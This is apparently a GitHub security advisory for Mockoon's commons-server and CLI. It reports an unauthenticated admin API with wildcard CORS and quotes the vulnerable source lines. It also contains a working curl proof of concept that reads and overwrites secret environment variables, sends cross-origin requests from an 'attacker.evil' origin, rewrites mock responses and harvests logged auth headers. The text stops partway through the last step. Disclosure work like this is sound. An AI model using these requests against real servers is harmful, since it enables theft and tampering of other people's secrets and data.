GHSA-rqx4-3f6q-3x2v @Mockoon/commons-server: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft

• npm @mockoon/commons-server: < 9.7.0 → fixed in 9.7.0 • npm @mockoon/cli: < 9.7.0 → fixed in 9.7.0

Summary Mockoon's admin API (`commons-server/src/libs/server/admin-api.ts`) is mounted on the same Express listener as the user-defined mock routes, enabled by default in every shipped runtime (commons-server, CLI, serverless), serves **`Access-Control-Allow-Origin: *` on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and `Content-Type` in `Access-Control-Allow-Headers`, and has zero authentication of any kind** (no token, no shared secret, no `MOCKOON_ADMIN_TOKEN` env var — searched the repo, returns zero hits). Any unauthenticated caller who can reach the mock server's port (default `0.0.0.0:3000`) can: • Read every `MOCKOON_*` env var used by the operator as secret material in templates (`getEnvVar` helper). • Write arbitrary process env vars (no prefix check on the WRITE path) — poison operator's `MOCKOON_API_KEY`, `MOCKOON_JWT_SECRET`, …, or write process-level vars like `AWS_SECRET_ACCESS_KEY` that the surrounding runtime consumes. • Rewrite every mock route's body / status / headers in-runtime via `PUT /mockoon-admin/environment` — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including `Set-Cookie`, `Location`, `Content-Security-Policy`, etc. • Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear). • Read/write global template vars; purge state / data buckets / logs. Because of the wildcard CORS reply, the attack also lands cross-origin from a browser: a developer who runs `mockoon-cli start ...` locally and visits a malicious website gets their mock state hijacked. --- Details Root cause `packages/commons-server/src/libs/server/server.ts:127`: ```ts private options: ServerOptions = { ..., enableAdminApi: true, // ← default on }; ``` `packages/cli/src/commands/start.ts:200`: ```ts enableAdminApi: !userFlags['disable-admin-api'], // default true unless --disable-admin-api passed ``` `packages/serverless/src/libs/serverless.ts:21`: ```ts enableAdminApi: true, // ← default on, no flag to disable in the constructor ``` `packages/commons-server/src/libs/server/admin-api.ts:63-74` (permissive CORS on every admin endpoint): ```ts app.use(`${adminApiPrefix}*`, (req, res, next) => { res.setHeaders( new Headers({ 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS', 'Access-Control-Allow-Headers': 'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With' }) ); next(); }); ``` `packages/commons-server/src/libs/server/admin-api.ts:151-166` (no auth, no prefix check on WRITE): ```ts const setEnvVarHandler = (req, res) => { try { const { key, value } = req.body; if (key !== undefined && value !== undefined) { process.env[key] = value; // ← any process env, any value res.send({ message: `Environment variable '${key}' has been set to '${value}'` }); } else { throw new Error('Key or value missing from request'); } } catch (_error) { res.status(400).send({ message: 'Invalid request' }); } }; ``` `packages/commons-server/src/libs/server/admin-api.ts:373-393` (the most impactful — runtime mock rewrite): ```ts app.put(`${adminApiPrefix}/environment`, (req, res) => { try { const environment: Environment = EnvironmentSchema.validate(req.body).value; if (!environment) { res.status(400).send({ message: 'Invalid environment format' }); return; } updateEnvironment(environment); // ← runtime mutation of every route response res.send({ message: 'Environment updated' }); } catch (_error) { res.status(400).send({ message: 'Invalid environment format' }); } }); ``` Default `hostname: ''` (`packages/commons/src/constants/environment-schema.constants.ts:33`) → Node binds `0.0.0.0`/`::` (confirmed via `lsof`). Migration #16 (`packages/commons/src/libs/migrations.ts:343`) also forces missing hostnames to `'0.0.0.0'`. --- PoC Live reproduction (2026-05-11, `@mockoon/[email protected]`) `npm install @mockoon/[email protected]`. Minimal `env.json` with one route `GET /users/:id` whose response templates `{{getEnvVar 'MOCKOON_API_KEY'}}`. Start with: ``` MOCKOON_API_KEY="sk-operator-real-secret-DO_NOT_LEAK_xyz789" \ mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file ``` Bind confirmed via `lsof`: ``` COMMAND PID USER FD TYPE ... NAME node 39906 ... 14u IPv6 ... TCP *:3100 (LISTEN) <-- all interfaces ``` Baseline mock response: ``` $ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"} ``` 1) Read operator secret unauth ``` $ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY HTTP/1.1 200 OK access-control-allow-origin: * {"key":"MOCKOON_API_KEY","value":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"} ``` 2) Poison operator secret unauth → downstream consumer ingests attacker value ``` $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}' {"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'"} $ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"} ``` 3) Write arbitrary non-`MOCKOON_*` env var (no prefix gate) ``` $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"AWS_SECRET_ACCESS_KEY","value":"overwritten-by-attacker"}' {"message":"Environment variable 'AWS_SECRET_ACCESS_KEY' has been set to 'overwritten-by-attacker'"} ``` 4) Cross-origin CSRF from `https://attacker.evil` ``` $ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Access-Control-Request-Method: POST" \ -H "Access-Control-Request-Headers: Content-Type" HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOON_API_KEY","value":"sk-EXFIL-FROM-attacker.evil"}' {"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"} ``` Wildcard `Access-Control-Allow-Origin: *` + `Access-Control-Allow-Methods` covering PUT/POST/PATCH + `Content-Type` in `Access-Control-Allow-Headers` mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript. 5) Rewrite every mock route via unauth `PUT /environment` ``` $ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{ ...full env JSON with route response rewritten to body "ATTACKER_PWNED", statusCode 418, header X-Pwned: by-attacker.evil... }' {"message":"Environment updated"} $ curl -s -i http://127.0.0.1:3100/users/99 HTTP/1.1 418 I'm a Teapot X-Pwned: by-attacker.evil Content-Type: application/json {"id":"99","name":"ATTACKER_PWNED","role":"admin","backdoor":true} ``` 6) Read transaction logs / SSE stream → harvest consumer's auth headers ``` $ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2 ``` Each log entry includes consumer's `request.headers` (Authorization / Cookie / X-API-Key), `request.body`…